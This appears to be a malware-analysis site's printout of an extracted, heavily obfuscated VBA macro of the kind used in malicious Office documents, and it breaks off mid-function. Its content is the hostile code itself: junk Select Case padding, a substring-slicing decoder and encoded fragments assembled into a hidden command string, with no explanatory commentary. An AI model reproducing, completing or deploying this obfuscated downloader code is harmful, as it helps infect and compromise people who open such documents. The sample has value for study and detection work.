rCjjWi = Cos(WLmUp)
End Select
RjRcPh = UWZAX("tzGAwAAZAIDmVqi8nj", 8 + 0, 9 + 0)
Select Case YVjGf
Case 75928
MjvSwo = ChrB(mziMrY)
FqGwbO = chCpi
Case 20904
LrPrM = Rnd(dLHOki)
UXhac = Cos(ZTidK)
End Select
Select Case opaHp
Case 63214
PjOTk = ChrB(FiaWMN)
XbLKzU = ZGnLr
Case 49357
KUnCqS = Rnd(zPiGKT)
BQbzU = Cos(iNiPK)
End Select
bpOtsRAV = UWZAX("MuolAOAgDAjBwNAYGAlBgYAYGA3AAOAADA3AwYAMDA3AQZAcDA5AwNAQDAyAwMAMDAzAAOAUGAwAQZAIGA2AQZAcDAlBQNAEDAhBANAIGAhBgYAYGA2AwYAADA2AQOAIDqi", 4 + 0, 124 + 0)
Select Case YvIsC
Case 53265
uvKnT = ChrB(vzXLj)
nAEXp = NXzwz
Case 81526
sVtAq = Rnd(bizZJ)
dIbYaK = Cos(zLWUU)
End Select
Select Case KazKj
Case 1104
nHAjQL = ChrB(VBWIzK)
bwFUNZ = izpkHJ
Case 85506
pzSacR = Rnd(bmsnjd)
aaKorj = Cos(rpWanE)
End Select
JPsUlGipIN = UWZAX("ztAhUYAIGAjBQYAYDA2AQMAgDA4AwNAQGAwAwNAIDAiBAZAEGAzAgMAEDAxAQMAIGA5AgZAgDA5AAOAUGAxAgNAYDAiBANAQGAxAgNAIDA4AwYAkDAkBANAYDAkBwMAEDAjBgYAYGAlBgNAYDA2AAMAADAhBgYAMGAmBAMAUGAiBgNAcDAzAQNAIGAyAANAUUi", 3 + 0, 187 + 0)
Select Case KzJCq
Case 82008
YqXhM = ChrB(VTcZqK)
WOaTRI = zIvzp
Case 23444
Qnjktm = Rnd(BkmGiA)
XMwkd = Cos(nvYpk)
End Select
Select Case rbFTbD
Case 54943
DmvjQ = ChrB(FhUsVY)
TBizj = NinQOF
Case 87476
hapff = Rnd(ilzfpS)
SQoQPK = Cos(XZbWr)
End Select
NCoDwZJAjaX = UWZAX("l,DA0AAZAEGAyAAMAQGA5AQOAgDA3AgYAMDAkBgNAYDA3AQZAgDA4AAOAMDAiBQMAYDAlBQYAQGAjBAMAcDA5AQNAUDA5AwMAEGAxAQZAUGA3AwMAUGAmBQYAYGAxWIq9pup", 8 + 0, 123 + 0)
Select Case PmPWhi
Case 44281
YGfNqj = ChrB(iCzHRh)
Nzzwul = IzToDa
Case 94187
cwKvF = Rnd(KIDZbW)
WcOauU = Cos(PWijl)
End Select
Select Case tRmBh
Case 29607
voJplE = ChrB(fGLojz)
qTJPT = dqvso
Case 96918
fJWOo = Rnd(roSBn)
LZniK = Cos(wWhDz)
End Select
oiivaaSGA = UWZAX("UtDAlBgMAUGA1AwNAIDAiBANAUDAxAQYAkDAhBgYAMGAiBAZAIGA3AAOAYGAwAQNAIDAlBwYAEDAzAwYAIDAlBAZAgDA2AQOAcDAyAAMAIDAyAwNAEDCQJt", 5 + 0, 113 + 0)
Select Case mOsJFs
Case 32448
mkBWj = ChrB(AfIiXS)
zHzqM = WpbmcL
Case 89539
aIhiZk = Rnd(faYRuO)
TOCjf = Cos(pGvTt)
End Select
Select Case McFaY
Case 55858
jRPvq = ChrB(NfwkV)
WcELp = bzCEMa
Case 40299
iPIoPZ = Rnd(PvjSLU)
tzvZbp = Cos(oIRPp)
End Select
fTziJTiwFT = UWZAX("j.IJKOAcDAyAwMAQDA1AgZAMGA4AAZAEDA3AgMAUGAlBE0k", 4 + 0, 39 + 0)
Select Case dKiEoa
Case 88407
zXIVvd = ChrB(hUtiQ)
GCImwf = pHrYZc
Case 15581
Qfdla = Rnd(vcnEf)
wHnYl = Cos(QWHWR)
End Select
Select Case ZGcBs
Case 39853
uQXbP = ChrB(dQPTqh)
GNGHoT = jpSVD
Case 9044
KQwEYC = Rnd(CiiIq)
zLnzdZ = Cos(LLAVNZ)
End Select
vIEJRHjc = UWZAX("j8QGA3AQOAMDA0AQZAUGAjBQZAMDAwAQYAYDA2AQMAYDA4AwNAEDAmBAZAUDAmBgZAYDAjBAOAUDA3AAMAEDAjBQMAUGA5AQMAIGAhBAOAUGA3AwMAIGA5AgYAEGAmBAZAEDA4Ah.oW", 5 + 0, 133 + 0)
Select Case dEwCXK
Case 19108
zQOSf = ChrB(DiXwwp)
VBUsiM = wQdrz
Case 9394
zfjlf = Rnd(dLXiK)
IHcdWO = Cos(XIDdJs)
End Select
VVvAbUYhRzWLA = wwNrjpwfRvziKU + lVjmXTaLFCrNSW + ktsXVWV + """" + JimhlEQVnHcQhP + tnbZWFspYHI + MEiTpwHm + zwOQXzH + RjRcPh + bpOtsRAV + rHhsO + ihjVvVzzF + FYXKuRm + HciLXtsGl + DoPGwMmVBj + iLbHvGP + DsqZltOHnDH + fTziJTiwFT + KwhIh + tXDzAsfwzMi + vIEJRHjc + SVhpdbLjtK + oiivaaSGA + JPsUlGipIN + RiTrNqs + NiVBlWs + KucNqZDhm + tUUka + woTdjcLniJu + NCoDwZJAjaX + NmFOUJJwd + NdPzdwi + zvDKotFBs + IPRDHQnhN + tcKbiLnO + miXSblVda + CBzUU + lQYAFZ + iidwR + zzCmIWVoM + KPhAMlT + ZzaSAM + FZhSzRQaTY + rlVpiSwTZ + iONjdfGdfID + BNDtdwP + XvPVNhAO + lwupBvbdJwi + lBZhnNpklw + EjvXGupCRd + oiHRRCXsqJ + UvjqzCP + UVqjlUQ + iswjkFp
Select Case CWsihI
Case 54296
KrSwCZ = ChrB(IwMazZ)
cGsUzw = vDtvKA
Case 39580
konht = Rnd(qTHOvB)
fDHQVK = Cos(lpNJfF)
End Select
End Function
Attribute VB_Name = "GXWjKTfTwpuHwE"
Function ktsXVWV()
On Error Resume Next
Select Case ViacJd
Case 70824
IFUzmh = ChrB(LnjAOp)
iaNEt = LYVIXV
Case 9364
RbXpH = Rnd(rBoCD)
kMafE = Cos(tGEzP)
End Select
iidwR = UWZAX("27 te5uIn54a&&!%ALY1hu", 5 + 0, 10 + 0)
Select Case kKbkj
Case 24333
QdctLI = ChrB(GTXcm)
AYpzz = DFcwES
Case 23322
FwuGR = Rnd(amsISO)
tLaib = Cos(EDMVc)
End Select
Select Case pUlVsA
Case 95526
CnZNm = ChrB(QvTZL)
oTWGcS = UbKmZN
Case 84990
jqdkm = Rnd(iUEBw)
jhtZIE = Cos(HVzit)
End Select
tXDzAsfwzMi = UWZAX("@PKZYlAvVV% te5uIn54a&&p=%wiiJjGf", 4 + 0, 18 + 0)
Select Case EdlrBz
Case 99729
QhEpoY = ChrB(GwSFiV)
miliV = kklMkK
Case 66417
wcCBwC = Rnd(AojTf)
BWfYOE = Cos(qDGWdG)
End Select
Select Case VAHrN
Case 82940
mWttj = ChrB(TjoST)
swSqC = AfmvJq
Case 42051
jqnvj = Rnd(wjwAG)
jjPzz = Cos(nSEaC)
End Select
MEiTpwHm = UWZAX("U5uIn54aw&&r^e=%HwIiXOlB", 4 + 0, 12 + 0)
Select Case EQMLh
Case 83549
CXWhd = ChrB(tjORJz)
kCuRP = vACDHJ
Case 76280
qStmBE = Rnd(DcKBmB)
ZYBva = Cos(ZBVvwr)
End Select
Select Case aiXDv
Case 24126
MSWGD = ChrB(hosoJW)
qfhruF = Jwtnw
Case 36126
vofmr = Rnd(AGFSq)
JwiwzW = Cos(zbuzjJ)
End Select
EjvXGupCRd = UWZAX("cno@LornHpLwHi=%ciJjpUE7", 5 + 0, 16 + 0)
Select Case zEPYjI
Case 70751
lAMCS = ChrB(pkaPA)
wRizw = QVqBq
Case 98522
BCvqjj = Rnd(zjLdkv)
LIrTh = Cos(zufZQc)
End Select
Select Case sdaOwB
Case 15579
GzZzw = ChrB(bMCfR)
Tcdcs = iimkAW
Case 88043
IwiYDh = Rnd(snvkAZ)
PDZBtH = Cos(QAzVH)
End Select
iLbHvGP = UWZAX("o8j9Se5uIn54a8", 2 + 0, 2 + 0)
Select Case ZVVzC
Case 6376
Qchdb = ChrB(daohsr)
kSjKw = mdrwhD
Case 91965
UXSwi = Rnd(SdnVwa)
dmbSF = Cos(qmHlKw)
End Select
Select Case ssimo
Case 15596
wjqOs = ChrB(OLaEZD)
JzUTfZ = rzuWh
Case 55421
fDvSS = Rnd(wCrKLK)
CCJzn = Cos(HNvYK)
End Select
lwupBvbdJwi = UWZAX("Yf=%LKNzrUuwzSZpOTz% l.I.L", 6 + 0, 19 + 0)
Select Case PpSzm
Case 37918
PjiIil = ChrB(azHFK)
VPQpp = icVrkf
Case 70314
DofEF = Rnd(ivdTui)
jiJGp = Cos(CkAYd)
End Select
Select Case cazZEU
Case 64118
WISnm = ChrB(wKXRU)
SGYqbU = zGiWlS
Case 2579
XHIDN = Rnd(zoEiN)
wHYplE = Cos(IWCGw)
End Select
RiTrNqs = UWZAX("hV0oOUBTc%!!%HwI@q", 3 + 0, 12 + 0)
Select Case rjzomj
Case 40853
MbDPOG = ChrB(TRTMO)
fqhskj = sjVAK
Case 37815
mBASz = Rnd(zkjVZX)
upFiuj = Cos(MtQvBz)
End Select
Select Case juwlWz
Case 59806
GZNFsK = ChrB(cchjQJ)
TqBkj = bvQVkd
Case 97614
iCtBK = Rnd(LYRVj)
AkIiL = Cos(icaHj)
End Select
FZhSzRQaTY = UWZAX("39cP%vlmSwuzZkIwZRbP,Hw", 4 + 0, 16 + 0)
Select Case QoPLJr
Case 39213
LWzZn = ChrB(FCvvZf)
Hprmh = XzWjW
Case 36503
lWrAP = Rnd(BUNim)
vhHbjf = Cos(DkJwYZ)
End Select
Select Case tbVps
Case 11236
EGqTL = ChrB(AFzqXO)
IZkIX = bQHcw
Case 57271
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.